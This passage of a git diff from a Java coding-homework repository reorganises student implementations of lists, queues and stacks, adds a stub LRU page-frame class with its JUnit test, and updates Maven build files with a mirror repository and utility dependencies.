rename from group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/Queue.java
rename to group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/Queue.java
index 10560f969e..e333496198 100644
--- a/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/Queue.java
+++ b/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/Queue.java
@@ -1,24 +1,24 @@
-package com.coding.basic;
-
-import java.util.Arrays;
-
-public class Queue {
-
-	private LinkedList elementData = new LinkedList();
-
-	public void enQueue(Object o){
-		elementData.add(o);
-	}
-	
-	public Object deQueue(){
-		return elementData.remove(0);
-	}
-	
-	public boolean isEmpty(){
-		return size() == 0;
-	}
-	
-	public int size(){
-		return elementData.size();
-	}
-}
+package com.coding.basic;
+
+import com.coding.basic.linklist.LinkedList;
+
+public class Queue {
+
+	private LinkedList elementData = new LinkedList();
+
+	public void enQueue(Object o){
+		elementData.add(o);
+	}
+	
+	public Object deQueue(){
+		return elementData.remove(0);
+	}
+	
+	public boolean isEmpty(){
+		return size() == 0;
+	}
+	
+	public int size(){
+		return elementData.size();
+	}
+}
diff --git a/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/Stack.java b/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/Stack.java
similarity index 93%
rename from group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/Stack.java
rename to group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/Stack.java
index 998ddf9768..7336dccfe9 100644
--- a/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/Stack.java
+++ b/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/Stack.java
@@ -1,30 +1,32 @@
-package com.coding.basic;
-
-public class Stack {
-	private ArrayList elementData = new ArrayList();
-	
-	public void push(Object o){
-		elementData.add(o);
-	}
-	
-	public Object pop(){
-		if (isEmpty()) {
-			throw new IllegalStateException("the stack is empty");
-		}
-		return elementData.remove(elementData.size() - 1);
-	}
-	
-	public Object peek(){
-		if (isEmpty()) {
-			throw new IllegalStateException("the stack is empty");
-		}
-		return elementData.get(elementData.size() - 1);
-	}
-
-	public boolean isEmpty(){
-		return size() == 0;
-	}
-	public int size(){
-		return elementData.size();
-	}
-}
+package com.coding.basic;
+
+import com.coding.basic.array.ArrayList;
+
+public class Stack {
+	private ArrayList elementData = new ArrayList();
+	
+	public void push(Object o){
+		elementData.add(o);
+	}
+	
+	public Object pop(){
+		if (isEmpty()) {
+			throw new IllegalStateException("the stack is empty");
+		}
+		return elementData.remove(elementData.size() - 1);
+	}
+	
+	public Object peek(){
+		if (isEmpty()) {
+			throw new IllegalStateException("the stack is empty");
+		}
+		return elementData.get(elementData.size() - 1);
+	}
+
+	public boolean isEmpty(){
+		return size() == 0;
+	}
+	public int size(){
+		return elementData.size();
+	}
+}
diff --git a/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/ArrayList.java b/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/array/ArrayList.java
similarity index 95%
rename from group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/ArrayList.java
rename to group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/array/ArrayList.java
index d09d63c2fa..cbe1f87a05 100644
--- a/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/ArrayList.java
+++ b/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/array/ArrayList.java
@@ -1,108 +1,111 @@
-package com.coding.basic;
-
-import java.util.Arrays;
-
-public class ArrayList implements List {
-
-    private int size = 0;
-
-    private Object[] elementData = new Object[100];
-
-    private Iterator iterator = new ArrayListIterator();
-
-    private int length() {
-        return elementData.length;
-    }
-
-    private static final int ENLARGE_LENGTH = 100;
-
-    private Object[] enlarge(Object[] origin) {
-        return Arrays.copyOf(origin, origin.length + ENLARGE_LENGTH);
-    }
-
-    private void enLargeElementData() {
-        if (size == length()) {
-            elementData = enlarge(elementData);
-        }
-    }
-
-    public void add(Object o) {
-        enLargeElementData();
-        elementData[size] = o;
-        size++;
-    }
-
-    public void add(int index, Object o) {
-        checkForAdd(index);
-        enLargeElementData();
-        // 备份 index 处及后面的数据
-        Object[] elementsBehindIndex = backBehindElements(elementData, index);
-        // 给index处 设值
-        elementData[index] = o;
-        // 追加 备份的数据
-        appendElement(elementData, index, elementsBehindIndex);
-        size++;
-    }
-
-    private void appendElement(Object[] origin, int pos, Object[] append) {
-        System.arraycopy(append, 0, origin, pos, append.length);
-    }
-
-    private Object[] backBehindElements(Object[] elementData, int index) {
-        int backSize = size - index;
-        Object[] back = new Object[backSize];
-        System.arraycopy(elementData, index, back, 0, backSize);
-        return back;
-    }
-
-    public Object get(int index) {
-        checkIndex(index);
-        return elementData[index];
-    }
-
-    private void checkIndex(int index) {
-        if (index < 0 || index >= size) {
-            throw new ArrayIndexOutOfBoundsException(String.format("index=%s, size=%s", index, size));
-        }
-    }
-
-    private void checkForAdd(int index) {
-        if (index < 0 || index > size) {
-            throw new ArrayIndexOutOfBoundsException(String.format("index=%s, size=%s", index, size));
-        }
-    }
-
-    public Object remove(int index) {
-        checkIndex(index);
-        Object[] back = backBehindElements(elementData, index + 1);
-        System.arraycopy(back, 0, elementData, index, back.length);
-        Object ret = elementData[index];
-        elementData[index] = null;
-        size--;
-        return ret;
-    }
-
-    public int size() {
-        return size;
-    }
-
-    public Iterator iterator() {
-        return iterator;
-    }
-
-    private class ArrayListIterator implements Iterator {
-
-        int next = 0;
-
-        @Override
-        public boolean hasNext() {
-           return next < size;
-        }
-
-        @Override
-        public Object next() {
-            return elementData[next++];
-        }
-    }
-
-}
+package com.coding.basic.array;
+
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
+
+import java.util.Arrays;
+
+public class ArrayList implements List {
+
+    private int size = 0;
+
+    private Object[] elementData = new Object[100];
+
+    private Iterator iterator = new ArrayListIterator();
+
+    private int length() {
+        return elementData.length;
+    }
+
+    private static final int ENLARGE_LENGTH = 100;
+
+    private Object[] enlarge(Object[] origin) {
+        return Arrays.copyOf(origin, origin.length + ENLARGE_LENGTH);
+    }
+
+    private void enLargeElementData() {
+        if (size == length()) {
+            elementData = enlarge(elementData);
+        }
+    }
+
+    public void add(Object o) {
+        enLargeElementData();
+        elementData[size] = o;
+        size++;
+    }
+
+    public void add(int index, Object o) {
+        checkForAdd(index);
+        enLargeElementData();
+        // 备份 index 处及后面的数据
+        Object[] elementsBehindIndex = backBehindElements(elementData, index);
+        // 给index处 设值
+        elementData[index] = o;
+        // 追加 备份的数据
+        appendElement(elementData, index, elementsBehindIndex);
+        size++;
+    }
+
+    private void appendElement(Object[] origin, int pos, Object[] append) {
+        System.arraycopy(append, 0, origin, pos, append.length);
+    }
+
+    private Object[] backBehindElements(Object[] elementData, int index) {
+        int backSize = size - index;
+        Object[] back = new Object[backSize];
+        System.arraycopy(elementData, index, back, 0, backSize);
+        return back;
+    }
+
+    public Object get(int index) {
+        checkIndex(index);
+        return elementData[index];
+    }
+
+    private void checkIndex(int index) {
+        if (index < 0 || index >= size) {
+            throw new ArrayIndexOutOfBoundsException(String.format("index=%s, size=%s", index, size));
+        }
+    }
+
+    private void checkForAdd(int index) {
+        if (index < 0 || index > size) {
+            throw new ArrayIndexOutOfBoundsException(String.format("index=%s, size=%s", index, size));
+        }
+    }
+
+    public Object remove(int index) {
+        checkIndex(index);
+        Object[] back = backBehindElements(elementData, index + 1);
+        System.arraycopy(back, 0, elementData, index, back.length);
+        Object ret = elementData[index];
+        elementData[index] = null;
+        size--;
+        return ret;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    public Iterator iterator() {
+        return iterator;
+    }
+
+    private class ArrayListIterator implements Iterator {
+
+        int next = 0;
+
+        @Override
+        public boolean hasNext() {
+           return next < size;
+        }
+
+        @Override
+        public Object next() {
+            return elementData[next++];
+        }
+    }
+
+}
diff --git a/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/array/ArrayUtil.java b/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/array/ArrayUtil.java
similarity index 99%
rename from group17/1204187480/code/homework/coderising/src/main/java/com/coderising/array/ArrayUtil.java
rename to group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/array/ArrayUtil.java
index 9aa6404d2a..42ec6efe57 100644
--- a/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/array/ArrayUtil.java
+++ b/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/array/ArrayUtil.java
@@ -1,4 +1,4 @@
-package com.coderising.array;
+package com.coding.basic.array;
 
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
diff --git a/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/linklist/LRUPageFrame.java b/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/linklist/LRUPageFrame.java
new file mode 100644
index 0000000000..994a241a3d
--- /dev/null
+++ b/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/linklist/LRUPageFrame.java
@@ -0,0 +1,57 @@
+package com.coding.basic.linklist;
+
+
+public class LRUPageFrame {
+	
+	private static class Node {
+		
+		Node prev;
+		Node next;
+		int pageNum;
+
+		Node() {
+		}
+	}
+
+	private int capacity;
+	
+	private int currentSize;
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	
+	public LRUPageFrame(int capacity) {
+		this.currentSize = 0;
+		this.capacity = capacity;
+		
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 
+	 * @param key
+	 * @return
+	 */
+	public void access(int pageNum) {
+		
+		
+	}
+	
+	
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while(node != null){
+			buffer.append(node.pageNum);			
+			
+			node = node.next;
+			if(node != null){
+				buffer.append(",");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	
+
+}
diff --git a/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/linklist/LRUPageFrameTest.java b/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/linklist/LRUPageFrameTest.java
new file mode 100644
index 0000000000..7fd72fc2b4
--- /dev/null
+++ b/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/linklist/LRUPageFrameTest.java
@@ -0,0 +1,34 @@
+package com.coding.basic.linklist;
+
+import  org.junit.Assert;
+
+import org.junit.Test;
+
+
+public class LRUPageFrameTest {
+	
+	@Test
+	public void testAccess() {
+		LRUPageFrame frame = new LRUPageFrame(3);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+		Assert.assertEquals("1,0,7", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,1,0", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2", frame.toString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3", frame.toString());
+		frame.access(5);
+		Assert.assertEquals("5,4,0", frame.toString());
+		
+	}
+
+}
diff --git a/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/LinkedList.java b/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/linklist/LinkedList.java
similarity index 98%
rename from group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/LinkedList.java
rename to group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/linklist/LinkedList.java
index c0cce5af0a..d9c4ee3c7b 100644
--- a/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/LinkedList.java
+++ b/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/linklist/LinkedList.java
@@ -1,4 +1,7 @@
-package com.coding.basic;
+package com.coding.basic.linklist;
+
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
 
 public class LinkedList implements List {
 
diff --git a/group17/1204187480/code/homework/basic/src/test/java/com/coding/api/ArraysTest.java b/group17/1204187480/code/homework/coding/src/test/java/com/coding/api/ArraysTest.java
similarity index 95%
rename from group17/1204187480/code/homework/basic/src/test/java/com/coding/api/ArraysTest.java
rename to group17/1204187480/code/homework/coding/src/test/java/com/coding/api/ArraysTest.java
index 6c96193d82..eb41a7e262 100644
--- a/group17/1204187480/code/homework/basic/src/test/java/com/coding/api/ArraysTest.java
+++ b/group17/1204187480/code/homework/coding/src/test/java/com/coding/api/ArraysTest.java
@@ -1,22 +1,22 @@
-package com.coding.api;
-
-import org.junit.Test;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-
-import java.util.Arrays;
-
-/**
- * Created by luoziyihao on 2/25/17.
- */
-public class ArraysTest {
-    private final Logger logger = LoggerFactory.getLogger(this.getClass());
-
-
-    @Test
-    public void testCopyOf(){
-        Object[] a = new Object[]{1, 2, 3, 4};
-        Object[] b = Arrays.copyOf(a, 10);
-        logger.info("a={}, b={}", Arrays.toString(a), Arrays.toString(b));
-    }
-}
+package com.coding.api;
+
+import org.junit.Test;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.util.Arrays;
+
+/**
+ * Created by luoziyihao on 2/25/17.
+ */
+public class ArraysTest {
+    private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+
+    @Test
+    public void testCopyOf(){
+        Object[] a = new Object[]{1, 2, 3, 4};
+        Object[] b = Arrays.copyOf(a, 10);
+        logger.info("a={}, b={}", Arrays.toString(a), Arrays.toString(b));
+    }
+}
diff --git a/group17/1204187480/code/homework/basic/src/test/java/com/coding/api/SystemTest.java b/group17/1204187480/code/homework/coding/src/test/java/com/coding/api/SystemTest.java
similarity index 95%
rename from group17/1204187480/code/homework/basic/src/test/java/com/coding/api/SystemTest.java
rename to group17/1204187480/code/homework/coding/src/test/java/com/coding/api/SystemTest.java
index 6a23cb125e..efc4022378 100644
--- a/group17/1204187480/code/homework/basic/src/test/java/com/coding/api/SystemTest.java
+++ b/group17/1204187480/code/homework/coding/src/test/java/com/coding/api/SystemTest.java
@@ -1,24 +1,24 @@
-package com.coding.api;
-
-import org.junit.Test;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-
-import java.util.Arrays;
-
-/**
- * Created by luoziyihao on 2/25/17.
- */
-public class SystemTest {
-
-    private final Logger logger = LoggerFactory.getLogger(this.getClass());
-
-        @Test
-    public void testArrayCopy() {
-        int[] a = new int[]{1, 2, 3, 4, 5, 6, 7};
-        int[] b = new int[]{11, 22, 33, 44, 55, 66, 77};
-        System.arraycopy(a, 2, b, 4, 3);
-        logger.info("b={}", Arrays.toString(b));
-
-    }
-}
+package com.coding.api;
+
+import org.junit.Test;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.util.Arrays;
+
+/**
+ * Created by luoziyihao on 2/25/17.
+ */
+public class SystemTest {
+
+    private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+        @Test
+    public void testArrayCopy() {
+        int[] a = new int[]{1, 2, 3, 4, 5, 6, 7};
+        int[] b = new int[]{11, 22, 33, 44, 55, 66, 77};
+        System.arraycopy(a, 2, b, 4, 3);
+        logger.info("b={}", Arrays.toString(b));
+
+    }
+}
diff --git a/group17/1204187480/code/homework/basic/src/test/java/com/coding/basic/ArrayListTest.java b/group17/1204187480/code/homework/coding/src/test/java/com/coding/basic/ArrayListTest.java
similarity index 93%
rename from group17/1204187480/code/homework/basic/src/test/java/com/coding/basic/ArrayListTest.java
rename to group17/1204187480/code/homework/coding/src/test/java/com/coding/basic/ArrayListTest.java
index 656ff54c06..fba6895d09 100644
--- a/group17/1204187480/code/homework/basic/src/test/java/com/coding/basic/ArrayListTest.java
+++ b/group17/1204187480/code/homework/coding/src/test/java/com/coding/basic/ArrayListTest.java
@@ -1,35 +1,36 @@
-package com.coding.basic;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-
-
-/**
- * Created by luoziyihao on 2/25/17.
- */
-public class ArrayListTest {
-
-    private final Logger logger = LoggerFactory.getLogger(this.getClass());
-
-
-    private List list = new ArrayList();
-
-    @Before
-    public void before() {
-
-    }
-
-    @Test
-    public void add() throws Exception {
-        list.add(1);
-    }
-
-    @Test
-    public void get() throws Exception {
-        add();
-        logger.info("{}", list.get(0));
-    }
-
+package com.coding.basic;
+
+import com.coding.basic.array.ArrayList;
+import org.junit.Before;
+import org.junit.Test;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+
+/**
+ * Created by luoziyihao on 2/25/17.
+ */
+public class ArrayListTest {
+
+    private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+
+    private List list = new ArrayList();
+
+    @Before
+    public void before() {
+
+    }
+
+    @Test
+    public void add() throws Exception {
+        list.add(1);
+    }
+
+    @Test
+    public void get() throws Exception {
+        add();
+        logger.info("{}", list.get(0));
+    }
+
 }
\ No newline at end of file
diff --git a/group17/1204187480/code/homework/basic/src/test/java/com/coding/basic/LinkedListTest.java b/group17/1204187480/code/homework/coding/src/test/java/com/coding/basic/LinkedListTest.java
similarity index 96%
rename from group17/1204187480/code/homework/basic/src/test/java/com/coding/basic/LinkedListTest.java
rename to group17/1204187480/code/homework/coding/src/test/java/com/coding/basic/LinkedListTest.java
index 0424c2945e..549553e696 100644
--- a/group17/1204187480/code/homework/basic/src/test/java/com/coding/basic/LinkedListTest.java
+++ b/group17/1204187480/code/homework/coding/src/test/java/com/coding/basic/LinkedListTest.java
@@ -1,5 +1,6 @@
 package com.coding.basic;
 
+import com.coding.basic.linklist.LinkedList;
 import org.junit.Assert;
 import org.junit.Test;
 
@@ -61,18 +62,21 @@ public void removeFirstHalf() throws Exception {
         linkedList.removeFirstHalf();
         Assert.assertEquals("[]", linkedList.toString());
     }
+
     @Test
     public void removeFirstHalf1() throws Exception {
         LinkedList linkedList = createAndFillLinkedList(1);
         linkedList.removeFirstHalf();
         Assert.assertEquals("[1]", linkedList.toString());
     }
+
     @Test
     public void removeFirstHalf2() throws Exception {
         LinkedList linkedList = createAndFillLinkedList(2);
         linkedList.removeFirstHalf();
         Assert.assertEquals("[2]", linkedList.toString());
     }
+
     @Test
     public void removeFirstHalf3() throws Exception {
         LinkedList linkedList = createAndFillLinkedList(3);
@@ -102,37 +106,43 @@ public void remove1() throws Exception {
         list.remove(0, 0);
         Assert.assertEquals("[1,2,3,4]", list.toString());
     }
- @Test
+
+    @Test
     public void remove2() throws Exception {
         LinkedList list = createAndFillLinkedList(4);
         list.remove(0, 1);
         Assert.assertEquals("[2,3,4]", list.toString());
     }
- @Test
+
+    @Test
     public void remove3() throws Exception {
         LinkedList list = createAndFillLinkedList(4);
         list.remove(1, 0);
         Assert.assertEquals("[1,2,3,4]", list.toString());
     }
- @Test
+
+    @Test
     public void remove4() throws Exception {
         LinkedList list = createAndFillLinkedList(4);
         list.remove(1, 1);
         Assert.assertEquals("[1,3,4]", list.toString());
     }
-@Test
+
+    @Test
     public void remove5() throws Exception {
         LinkedList list = createAndFillLinkedList(4);
         list.remove(1, 3);
         Assert.assertEquals("[1]", list.toString());
     }
-@Test
+
+    @Test
     public void remove6() throws Exception {
         LinkedList list = createAndFillLinkedList(4);
         list.remove(1, 4);
         Assert.assertEquals("[1]", list.toString());
     }
-@Test
+
+    @Test
     public void remove7() throws Exception {
         LinkedList list = createAndFillLinkedList(4);
         list.remove(1, 5);
@@ -141,7 +151,7 @@ public void remove7() throws Exception {
 
     @Test
     public void getElements() throws Exception {
-        LinkedList listA= createAndFillLinkedList(0,8);
+        LinkedList listA = createAndFillLinkedList(0, 8);
         LinkedList listB = createAndFillLinkedList(4, 4);
         Assert.assertEquals("[4,5,6,7]", Arrays.toString(listA.getElements(listB)));
 
diff --git a/group17/1204187480/code/homework/parent/pom.xml b/group17/1204187480/code/homework/parent/pom.xml
index ace9bf9cc5..4b82387454 100644
--- a/group17/1204187480/code/homework/parent/pom.xml
+++ b/group17/1204187480/code/homework/parent/pom.xml
@@ -8,18 +8,66 @@
     <version>1.0-SNAPSHOT</version>
     <url>https://github.com/luoziyihao/coding2017</url>
 
+    <pluginRepositories>
+        <pluginRepository>
+            <id>alimaven</id>
+            <name>aliyun maven</name>
+            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>
+            <releases>
+                <enabled>true</enabled>
+            </releases>
+            <snapshots>
+                <enabled>true</enabled>
+            </snapshots>
+        </pluginRepository>
+    </pluginRepositories>
+    <repositories>
+        <repository>
+            <id>alimaven</id>
+            <name>aliyun maven</name>
+            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>
+            <releases>
+                <enabled>true</enabled>
+            </releases>
+            <snapshots>
+                <enabled>true</enabled>
+            </snapshots>
+        </repository>
+        <repository>
+            <id>spring-snapshots</id>
+            <name>Spring Snapshots</name>
+            <url>https://repo.spring.io/libs-snapshot</url>
+            <snapshots>
+                <enabled>true</enabled>
+            </snapshots>
+        </repository>
+    </repositories>
+
+
     <properties>
-        <maven.compiler.encoding>UTF-8</maven.compiler.encoding>
         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
         <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
-        <jdk.version>1.8</jdk.version>
+        <java.version>1.8</java.version>
+        <maven.compiler.encoding>UTF-8</maven.compiler.encoding>
         <maven.compiler.source>1.8</maven.compiler.source>
         <maven.compiler.target>1.8</maven.compiler.target>
         <maven-compiler-plugin.version>3.0</maven-compiler-plugin.version>
+        <logback.version>1.1.7</logback.version>
         <logback-classic.version>1.1.7</logback-classic.version>
         <commons-logging.version>1.2</commons-logging.version>
         <log4j.version>1.2.17</log4j.version>
         <junit.version>4.12</junit.version>
+        <commons-lang3.version>3.4</commons-lang3.version>
+        <commons-collections4.version>4.1</commons-collections4.version>
+        <commons-io.version>2.5</commons-io.version>
+        <commons-beanutils.version>1.9.2</commons-beanutils.version>
+        <guava.version>19.0</guava.version>
+        <rxjava.version>1.1.6</rxjava.version>
+        <lombok.version>1.16.10</lombok.version>
+        <fastjson.version>1.2.22</fastjson.version>
+        <strman.version>0.2.0</strman.version>
+        <joda-time.version>2.9.4</joda-time.version>
+
     </properties>
 
     <dependencies>
@@ -41,6 +89,59 @@
             <version>${log4j.version}</version>
         </dependency>
         <!-- 配置所有依赖库的日志依赖 end-->
+        <!--  utils 相关jar包 start -->
+        <dependency>
+            <groupId>org.apache.commons</groupId>
+            <artifactId>commons-lang3</artifactId>
+            <version>${commons-lang3.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>org.apache.commons</groupId>
+            <artifactId>commons-collections4</artifactId>
+            <version>${commons-collections4.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>commons-io</groupId>
+            <artifactId>commons-io</artifactId>
+            <version>${commons-io.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>commons-beanutils</groupId>
+            <artifactId>commons-beanutils</artifactId>
+            <version>${commons-beanutils.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>com.google.guava</groupId>
+            <artifactId>guava</artifactId>
+            <version>${guava.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>org.projectlombok</groupId>
+            <artifactId>lombok</artifactId>
+            <version>${lombok.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>joda-time</groupId>
+            <artifactId>joda-time</artifactId>
+            <version>${joda-time.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>io.reactivex</groupId>
+            <artifactId>rxjava</artifactId>
+            <version>${rxjava.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>com.alibaba</groupId>
+            <artifactId>fastjson</artifactId>
+            <version>${fastjson.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>com.shekhargulati</groupId>
+            <artifactId>strman</artifactId>
+            <version>${strman.version}</version>
+        </dependency>
+        <!--  utils 相关jar包 end -->
+
         <!-- 测试 -->
         <dependency>
             <groupId>junit</groupId>
@@ -49,33 +150,6 @@
         </dependency>
     </dependencies>
 
-    <pluginRepositories>
-        <pluginRepository>
-            <id>alimaven</id>
-            <name>aliyun maven</name>
-            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>
-            <releases>
-                <enabled>true</enabled>
-            </releases>
-            <snapshots>
-                <enabled>true</enabled>
-            </snapshots>
-        </pluginRepository>
-    </pluginRepositories>
-    <repositories>
-        <repository>
-            <id>alimaven</id>
-            <name>aliyun maven</name>
-            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>
-            <releases>
-                <enabled>true</enabled>
-            </releases>
-            <snapshots>
-                <enabled>true</enabled>
-            </snapshots>
-        </repository>
-    </repositories>
-
     <build>
         <finalName>${project.artifactId}</finalName>
         <plugins>
@@ -92,13 +166,13 @@
         </plugins>
     </build>
 
-    <reporting>
-        <plugins>
-            <plugin>
-                <groupId>org.apache.maven.plugins</groupId>
-                <artifactId>maven-surefire-report-plugin</artifactId>
-                <version>2.19.1</version>
-            </plugin>
-        </plugins>
-    </reporting>
+    <!--<reporting>-->
+        <!--<plugins>-->
+            <!--<plugin>-->
+                <!--<groupId>org.apache.maven.plugins</groupId>-->
+                <!--<artifactId>maven-surefire-report-plugin</artifactId>-->
+                <!--<version>2.19.1</version>-->
+            <!--</plugin>-->
+        <!--</plugins>-->
+    <!--</reporting>-->
 </project>
\ No newline at end of file
diff --git a/group17/1204187480/code/homework/pom.xml b/group17/1204187480/code/homework/pom.xml
index c8b94c2bc2..73e8c4160f 100644
--- a/group17/1204187480/code/homework/pom.xml
+++ b/group17/1204187480/code/homework/pom.xml
@@ -8,7 +8,7 @@
     <packaging>pom</packaging>
     <modules>
         <module>parent</module>
-        <module>basic</module>
+        <module>coding</module>
         <module>coderising</module>
     </modules>
 
diff --git a/group17/1204187480/note/todo/homework.md b/group17/1204187480/note/todo/homework.md
new file mode 100644
index 0000000000..5f111a9ea6
--- /dev/null
+++ b/group17/1204187480/note/todo/homework.md
@@ -0,0 +1,8 @@
+# 0326 操作系统中的lru算法
+
+ClassFileLoader
+
+LRUPageFrame
+
+深入理解java虚拟机 第6章
+
diff --git a/group17/1264835468/src/assignment/BinaryTree.java b/group17/1264835468/src/assignment/BinaryTree.java
index 1d76a7ce2c..882a87f6ed 100644
--- a/group17/1264835468/src/assignment/BinaryTree.java
+++ b/group17/1264835468/src/assignment/BinaryTree.java
@@ -53,10 +53,10 @@ public String toString() {
 	 *
 	 */
 	private class BFSNodeQueue {
-		private MyQueue<BinaryTreeNode<T>> nodeQueue;
+		private Queue<BinaryTreeNode<T>> nodeQueue;
 
 		public BFSNodeQueue() {
-			nodeQueue = new MyQueue<>();
+			nodeQueue = new Queue<>();
 		}
 
 		public boolean isEmpty() {
@@ -79,9 +79,9 @@ public BinaryTreeNode<T> deQueue() {
 		}
 
 		// 把所有出队节点放进另一个队列中
-		public MyQueue<BinaryTreeNode<T>> getResult() {
+		public Queue<BinaryTreeNode<T>> getResult() {
 			prepare();
-			MyQueue<BinaryTreeNode<T>> result = new MyQueue<>();
+			Queue<BinaryTreeNode<T>> result = new Queue<>();
 			while (!isEmpty()) {
 				result.enQueue(deQueue());
 			}
@@ -121,7 +121,7 @@ private class BFSIterator implements Iterator<BinaryTreeNode<T>> {
 		Iterator<BinaryTreeNode<T>> iterator;
 
 		public BFSIterator() {
-			MyQueue<BinaryTreeNode<T>> BFSQueue = new BFSNodeQueue().getResult();
+			Queue<BinaryTreeNode<T>> BFSQueue = new BFSNodeQueue().getResult();
 			list = new MyArrayList<>();
 			while (!BFSQueue.isEmpty()) {
 				list.add(BFSQueue.deQueue());
diff --git a/group17/1264835468/src/assignment/MyStack.java b/group17/1264835468/src/assignment/MyStack.java
deleted file mode 100644
index 0c3d30337b..0000000000
--- a/group17/1264835468/src/assignment/MyStack.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package assignment;
-
-public class MyStack<T> {
-	private MyArrayList<T> elementData = new MyArrayList<>();
-
-	public void push(T o) {
-		elementData.add(o);
-	}
-
-	public T pop() {
-		if (!isEmpty()) {
-			T data = elementData.remove(elementData.size() - 1);
-			return data;
-		}
-		throw new StackIsEmptyException();
-	}
-
-	public T peek() {
-		return elementData.get(elementData.size() - 1);
-	}
-
-	public boolean isEmpty() {
-		return elementData.size() == 0;
-	}
-
-	public int size() {
-		return elementData.size();
-	}
-}
-
-class StackIsEmptyException extends RuntimeException {
-	public StackIsEmptyException() {
-		super();
-	}
-
-	public StackIsEmptyException(String string) {
-		super(string);
-	}
-}
diff --git a/group17/1264835468/src/assignment/MyQueue.java b/group17/1264835468/src/assignment/Queue.java
similarity index 95%
rename from group17/1264835468/src/assignment/MyQueue.java
rename to group17/1264835468/src/assignment/Queue.java
index c5e3e8ce88..eb3b474e75 100644
--- a/group17/1264835468/src/assignment/MyQueue.java
+++ b/group17/1264835468/src/assignment/Queue.java
@@ -1,6 +1,6 @@
 package assignment;
 
-public class MyQueue<T> {
+public class Queue<T> {
 	private MyLinkedList<T> elementData = new MyLinkedList<>();
 
 	public void enQueue(T o) {
diff --git a/group17/1264835468/src/assignment/Stack.java b/group17/1264835468/src/assignment/Stack.java
new file mode 100644
index 0000000000..9100544ee3
--- /dev/null
+++ b/group17/1264835468/src/assignment/Stack.java
@@ -0,0 +1,53 @@
+package assignment;
+
+public class Stack<T> {
+	private MyArrayList<T> elementData = new MyArrayList<>();
+
+	public void push(T o) {
+		elementData.add(o);
+	}
+
+	public T pop() {
+		if (!isEmpty()) {
+			T data = elementData.remove(elementData.size() - 1);
+			return data;
+		}
+		throw new EmptyStackException();
+	}
+
+	public T peek() {
+		if(!isEmpty())
+			return elementData.get(elementData.size() - 1);
+		throw new EmptyStackException();
+	}
+
+	public boolean isEmpty() {
+		return elementData.size() == 0;
+	}
+
+	public int size() {
+		return elementData.size();
+	}
+
+	@Override
+	public String toString() {
+		StringBuilder stringBuilder = new StringBuilder();
+		for (int i = elementData.size()-1; i >=0; i--) {
+			stringBuilder.append(elementData.get(i));
+			if (i != 0) {
